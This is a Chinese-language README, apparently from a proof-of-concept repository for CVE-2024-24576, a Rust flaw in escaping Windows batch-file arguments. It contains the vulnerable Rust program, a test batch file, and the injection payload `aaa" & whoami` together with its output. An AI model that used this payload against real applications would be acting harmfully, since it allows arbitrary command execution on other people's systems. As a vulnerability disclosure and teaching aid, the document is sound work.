Rust命令注入漏洞演示工具 (CVE-2024-24576 PoC)
本项目提供了一个针对 CVE-2024-24576 漏洞的概念验证(Proof of Concept)实现。该漏洞是Rust标准库在Windows平台上的一个高危安全缺陷,允许攻击者通过特定参数绕过转义逻辑,执行任意系统命令。
功能特性
- 漏洞复现:精确复现CVE-2024-24576漏洞,演示命令注入攻击过程
- 参数测试:支持输入自定义payload,验证不同参数格式下的转义行为
- 命令执行:调用Windows批处理文件(test.bat),展示参数传递与输出结果
- 安全警示:直观展示未正确处理用户输入时可能引发的命令注入风险
安装指南
系统要求
- Windows操作系统(漏洞仅在Windows平台生效)
- Rust工具链(nightly或受影响版本)
依赖项
本工具仅依赖Rust标准库,无需额外依赖。
安装步骤
- 克隆项目仓库:
git clone https://github.com/yourusername/CVE-2024-24576-PoC.git
cd CVE-2024-24576-PoC
- 创建测试用的批处理文件
test.bat(与编译后的可执行文件同目录):
@echo off
echo Argument received: %1
- 使用cargo编译运行:
cargo run
使用说明
基础使用
运行程序后,输入待测试的payload:
cargo run
enter payload here
aaa
Output:
Argument received: aaa
命令注入测试
常规命令注入(失败案例)
输入包含&的字符串时,Rust会正确转义,命令不会被注入:
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
成功利用漏洞的payload
通过添加双引号,使转义机制失效,成功执行whoami命令:
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
输出解析:
- 第一行显示转义后的参数(
"aaa\") - 第二行是注入命令
whoami的执行结果(返回当前用户名)
API说明
主函数逻辑:
- 从标准输入读取用户payload
- 将payload作为参数传递给
test.bat批处理文件 - 捕获并打印批处理文件的输出
核心代码:
use std::io::{self, Write};
use std::process::Command;
fn main() {
println!("enter payload here");
let mut input = String::new();
io::stdout().flush().expect("Failed to flush stdout");
io::stdin().read_line(&mut input).expect("Failed to read from stdin");
let output = Command::new("./test.bat")
.arg(input.trim())
.output()
.expect("Failed to execute command");
println!("Output:\n{}", String::from_utf8_lossy(&output.stdout));
}
核心代码
漏洞触发模块
use std::io::{self, Write};
use std::process::Command;
fn main() {
// 提示用户输入payload
println!("enter payload here");
// 刷新标准输出缓冲区,确保提示立即显示
let mut input = String::new();
io::stdout().flush().expect("Failed to flush stdout");
// 从标准输入读取payload
io::stdin().read_line(&mut input).expect("Failed to read from stdin");
// 使用Command API执行test.bat,将用户输入作为参数传递
// 漏洞点:Rust对Windows批处理文件参数的转义逻辑存在缺陷
let output = Command::new("./test.bat")
.arg(input.trim())
.output()
.expect("Failed to execute command");
// 打印命令执行结果
println!("Output:\n{}", String::from_utf8_lossy(&output.stdout));
}
测试批处理文件
@echo off
REM 简单地回显接收到的第一个参数
echo Argument received: %1
漏洞原理说明:
Rust在Windows上调用Command::arg()时,会尝试对特殊字符(如&, |, ;等)进行转义以防止命令注入。但在处理包含双引号的特定组合时,转义逻辑未能正确处理,导致攻击者可以注入额外的命令。本项目通过aaa" & whoami成功演示了该缺陷。
6HFtX5dABrKlqXeO5PUv/4UVIGjPktfmPiizu3zncmJGVuS2s6SmcPjxIbvxLApj